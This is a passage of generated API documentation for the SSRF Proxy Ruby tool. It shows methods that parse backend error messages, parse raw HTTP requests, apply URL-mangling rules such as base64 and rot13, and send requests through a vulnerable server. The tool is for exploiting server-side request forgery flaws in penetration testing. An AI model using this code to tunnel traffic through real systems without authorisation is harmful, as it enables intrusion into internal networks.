1251     elsif response =~ /\[Errno 10060\] A connection attempt failed/
1252       result['code'] = 502
1253       result['message'] = 'Bad Gateway'
1254     elsif response =~ /\[Errno 10061\] No connection could be made/
1255       result['code'] = 502
1256       result['message'] = 'Bad Gateway'
1257     end
1258   # Python urllib errors
1259   elsif response =~ /HTTPError: HTTP Error \d+/
1260     if response =~ /HTTPError: HTTP Error 400: Bad Request/
1261       result['code'] = 400
1262       result['message'] = 'Bad Request'
1263     elsif response =~ /HTTPError: HTTP Error 401: Unauthorized/
1264       result['code'] = 401
1265       result['message'] = 'Unauthorized'
1266     elsif response =~ /HTTPError: HTTP Error 402: Payment Required/
1267       result['code'] = 402
1268       result['message'] = 'Payment Required'
1269     elsif response =~ /HTTPError: HTTP Error 403: Forbidden/
1270       result['code'] = 403
1271       result['message'] = 'Forbidden'
1272     elsif response =~ /HTTPError: HTTP Error 404: Not Found/
1273       result['code'] = 404
1274       result['message'] = 'Not Found'
1275     elsif response =~ /HTTPError: HTTP Error 405: Method Not Allowed/
1276       result['code'] = 405
1277       result['message'] = 'Method Not Allowed'
1278     elsif response =~ /HTTPError: HTTP Error 410: Gone/
1279       result['code'] = 410
1280       result['message'] = 'Gone'
1281     elsif response =~ /HTTPError: HTTP Error 500: Internal Server Error/
1282       result['code'] = 500
1283       result['message'] = 'Internal Server Error'
1284     elsif response =~ /HTTPError: HTTP Error 502: Bad Gateway/
1285       result['code'] = 502
1286       result['message'] = 'Bad Gateway'
1287     elsif response =~ /HTTPError: HTTP Error 503: Service Unavailable/
1288       result['code'] = 503
1289       result['message'] = 'Service Unavailable'
1290     elsif response =~ /HTTPError: HTTP Error 504: Gateway Time-?out/
1291       result['code'] = 504
1292       result['message'] = 'Timeout'
1293     end
1294   # Ruby exceptions
1295   elsif response =~ /Errno::[A-Z]+/
1296     # Connection refused
1297     if response =~ /Errno::ECONNREFUSED/
1298       result['code'] = 502
1299       result['message'] = 'Bad Gateway'
1300     # No route to host
1301     elsif response =~ /Errno::EHOSTUNREACH/
1302       result['code'] = 502
1303       result['message'] = 'Bad Gateway'
1304     # Connection timed out
1305     elsif response =~ /Errno::ETIMEDOUT/
1306       result['code'] = 504
1307       result['message'] = 'Timeout'
1308     end
1309   # ASP.NET System.Net.WebClient errors
1310   elsif response =~ /System\.Net\.WebClient/
1311     # The remote server returned an error: ([code]) [message].
1312     if response =~ /WebException: The remote server returned an error: \(([\d+])\) /
1313       result['code'] = $1.to_s
1314       result['message'] = ''
1315       if response =~ /WebException: The remote server returned an error: \(([\d+])\) ([a-zA-Z ]+)\./
1316         result['message'] = $2.to_s
1317       end
1318     # Could not resolve hostname
1319     elsif response =~ /WebException: The remote name could not be resolved/
1320       result['code'] = 502
1321       result['message'] = 'Bad Gateway'
1322     # Remote server denied connection (port closed)
1323     elsif response =~ /WebException: Unable to connect to the remote server/
1324       result['code'] = 502
1325       result['message'] = 'Bad Gateway'
1326     # This likely indicates a plain-text connection to a HTTPS or non-HTTP service
1327     elsif response =~ /WebException: The underlying connection was closed: An unexpected error occurred on a receive/
1328       result['code'] = 502
1329       result['message'] = 'Bad Gateway'
1330     # This likely indicates a HTTPS connection to a plain-text HTTP or non-HTTP service
1331     elsif response =~ /WebException: The underlying connection was closed: An unexpected error occurred on a send/
1332       result['code'] = 502
1333       result['message'] = 'Bad Gateway'
1334     # The operation has timed out
1335     elsif response =~ /WebException: The operation has timed out/
1336       result['code'] = 504
1337       result['message'] = 'Timeout'
1338     end
1339   # Generic error messages
1340   elsif response =~ /(Connection refused|No route to host|Connection timed out) - connect\(\d\)/
1341     # Connection refused
1342     if response =~ /Connection refused - connect\(\d\)/
1343       result['code'] = 502
1344       result['message'] = 'Bad Gateway'
1345     # No route to host
1346     elsif response =~ /No route to host - connect\(\d\)/
1347       result['code'] = 502
1348       result['message'] = 'Bad Gateway'
1349     # Connection timed out
1350     elsif response =~ /Connection timed out - connect\(\d\)/
1351       result['code'] = 504
1352       result['message'] = 'Timeout'
1353     end
1354   end
1355   result
1356 end
parse_http_request(request) click to toggle source

Parse a raw HTTP request as a string

@param [String] request raw HTTP request

@raise [SSRFProxy::HTTP::Error::InvalidClientRequest]

An invalid client HTTP request was supplied.

@return [Hash] HTTP request hash (url, method, headers, body)

    # File lib/ssrf_proxy/http.rb
407 def parse_http_request(request)
408   # parse method
409   if request.to_s !~ /\A(GET|HEAD|DELETE|POST|PUT|OPTIONS) /
410     logger.warn('HTTP request method is not supported')
411     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
412           'HTTP request method is not supported.'
413   end
414 
415   # parse client request
416   begin
417     req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
418     req.parse(StringIO.new(request))
419   rescue
420     logger.warn('HTTP request is malformed.')
421     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
422           'HTTP request is malformed.'
423   end
424 
425   # validate host
426   if request.to_s !~ %r{\A(GET|HEAD|DELETE|POST|PUT|OPTIONS) https?://}
427     if request.to_s =~ /^Host: ([^\s]+)\r?\n/
428       logger.info("Using host header: #{$1}")
429     else
430       logger.warn('HTTP request is malformed : No host specified.')
431       raise SSRFProxy::HTTP::Error::InvalidClientRequest,
432             'HTTP request is malformed : No host specified.'
433     end
434   end
435 
436   # return request hash
437   uri = req.request_uri
438   method = req.request_method
439   headers = req.header
440   begin
441     body = req.body.to_s
442   rescue WEBrick::HTTPStatus::BadRequest => e
443     logger.warn("HTTP request is malformed : #{e.message}")
444     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
445           "HTTP request is malformed : #{e.message}"
446   rescue WEBrick::HTTPStatus::LengthRequired
447     logger.warn("HTTP request is malformed : Request body without 'Content-Length' header.")
448     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
449           "HTTP request is malformed : Request body without 'Content-Length' header."
450   end
451 
452   { 'uri'     => uri,
453     'method'  => method,
454     'headers' => headers,
455     'body'    => body }
456 end
run_rules(url, rules) click to toggle source

Run a specified URL through SSRF rules

@param [String] url request URL @param [String] rules comma separated list of rules

@return [String] modified request URL

    # File lib/ssrf_proxy/http.rb
946 def run_rules(url, rules)
947   str = url.to_s
948   return str if rules.nil?
949   rules.each do |rule|
950     case rule
951     when 'noproto'
952       str = str.gsub(%r{^https?://}, '')
953     when 'nossl', 'http'
954       str = str.gsub(%r{^https://}, 'http://')
955     when 'ssl', 'https'
956       str = str.gsub(%r{^http://}, 'https://')
957     when 'base32'
958       str = Base32.encode(str).to_s
959     when 'base64'
960       str = Base64.encode64(str).delete("\n")
961     when 'md4'
962       str = OpenSSL::Digest::MD4.hexdigest(str)
963     when 'md5'
964       md5 = Digest::MD5.new
965       md5.update str
966       str = md5.hexdigest
967     when 'sha1'
968       str = Digest::SHA1.hexdigest(str)
969     when 'reverse'
970       str = str.reverse
971     when 'upcase'
972       str = str.upcase
973     when 'downcase'
974       str = str.downcase
975     when 'rot13'
976       str = str.tr('A-Za-z', 'N-ZA-Mn-za-m')
977     when 'urlencode'
978       str = CGI.escape(str).gsub(/\+/, '%20')
979     when 'urldecode'
980       str = CGI.unescape(str)
981     when 'append-hash'
982       str = "#{str}##{rand(36**6).to_s(36)}"
983     when 'append-method-get'
984       separator = str.include?('?') ? '&' : '?'
985       str = "#{str}#{separator}method=get&_method=get"
986     else
987       logger.warn("Unknown rule: #{rule}")
988     end
989   end
990   str
991 end
send_http_request(url, method, headers, body) click to toggle source

Send HTTP request to the SSRF server

@param [String] url URI to fetch @param [String] method HTTP request method @param [Hash] headers HTTP request headers @param [String] body HTTP request body

@raise [SSRFProxy::HTTP::Error::InvalidSsrfRequestMethod]

Invalid SSRF request method specified.
Method must be GET/HEAD/DELETE/POST/PUT/OPTIONS.

@raise [SSRFProxy::HTTP::Error::ConnectionTimeout]

The request to the remote host timed out.

@raise [SSRFProxy::HTTP::Error::InvalidUpstreamProxy]

Invalid upstream proxy specified.

@return [Hash] Hash of the HTTP response (status, code, headers, body)

     # File lib/ssrf_proxy/http.rb
1011 def send_http_request(url, method, headers, body)
1012   # use upstream proxy
1013   if @proxy.nil?
1014     http = Net::HTTP::Proxy(nil).new(
1015       @url.host,
1016       @url.port
1017     )
1018   elsif @proxy.scheme.eql?('http') || @proxy.scheme.eql?('https')
1019     http = Net::HTTP::Proxy(
1020       @proxy.host,
1021       @proxy.port
1022     ).new(
1023       @url.host,
1024       @url.port
1025     )
1026   elsif @proxy.scheme.eql?('socks')
1027     http = Net::HTTP.SOCKSProxy(
1028       @proxy.host,
1029       @proxy.port
1030     ).new(
1031       @url.host,
1032       @url.port
1033     )
1034   else
1035     raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new,
1036           'Unsupported upstream proxy specified. Scheme must be http(s) or socks.'
1037   end
1038 
1039   # set SSL
1040   if @url.scheme.eql?('https')
1041     http.use_ssl = true
1042     http.verify_mode = @insecure ? OpenSSL::SSL::VERIFY_NONE : OpenSSL::SSL::VERIFY_PEER
1043   end
1044 
1045   # set socket options
1046   http.open_timeout = @timeout
1047   http.read_timeout = @timeout
1048 
1049   # set http request method
1050   case method
1051   when 'GET'
1052     request = Net::HTTP::Get.new(url, headers.to_hash)
1053   when 'HEAD'
1054     request = Net::HTTP::Head.new(url, headers.to_hash)
1055   when 'DELETE'
1056     request = Net::HTTP::Delete.new(url, headers.to_hash)
1057   when 'POST'
1058     request = Net::HTTP::Post.new(url, headers.to_hash)
1059   when 'PUT'
1060     request = Net::HTTP::Put.new(url, headers.to_hash)
1061   when 'OPTIONS'
1062     request = Net::HTTP::Options.new(url, headers.to_hash)
1063   else
1064     logger.info("Request method #{method.inspect} not implemented")
1065     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
1066           "Request method #{method.inspect} not implemented"
1067   end
1068 
1069   # set http request credentials
1070   request.basic_auth(@user, @pass) unless @user.eql?('') && @pass.eql?('')
1071 
1072   # send http request
1073   response = {}
1074   logger.info('Sending request: ' \
1075               "#{@url.scheme}://#{@url.host}:#{@url.port}#{url}")
1076   begin
1077     unless body.eql?('')
1078       request.body = body
1079       logger.info("Using request body: #{request.body.inspect}")
1080     end
1081     response = http.request(request)
1082   rescue Net::HTTPBadResponse, EOFError
1083     logger.info('Server returned an invalid HTTP response')
1084     raise SSRFProxy::HTTP::Error::InvalidResponse,
1085           'Server returned an invalid HTTP response'
1086   rescue Errno::ECONNREFUSED, Errno::ECONNRESET
1087     logger.info('Connection failed')
1088     raise SSRFProxy::HTTP::Error::ConnectionFailed,
1089           'Connection failed'
1090   rescue Timeout::Error, Errno::ETIMEDOUT
1091     logger.info("Connection timed out [#{@timeout}]")
1092     raise SSRFProxy::HTTP::Error::ConnectionTimeout,
1093           "Connection timed out [#{@timeout}]"
1094   rescue => e
1095     logger.error("Unhandled exception: #{e}")
1096     raise e
1097   end
1098 
1099   if response.code.eql?('401')
1100     if @user.eql?('') && @pass.eql?('')
1101       logger.warn('Authentication required')
1102     else
1103       logger.warn('Authentication failed')
1104     end
1105   end
1106 
1107   response
1108 end
sniff_mime(content) click to toggle source

Guess content type based on magic bytes

@param [String] content File contents

@return [String] content-type value

     # File lib/ssrf_proxy/http.rb
1385 def sniff_mime(content)
1386   m = MimeMagic.by_magic(content)
1387   return if m.nil?
1388 
1389   # Overwrite incorrect mime types
1390   case m.type.to_s
1391   when 'application/xhtml+xml'
1392     return 'text/html'
1393   when 'text/x-csrc'
1394     return 'text/css'
1395   end
1396 
1397   m.type
1398 rescue
1399   nil
1400 end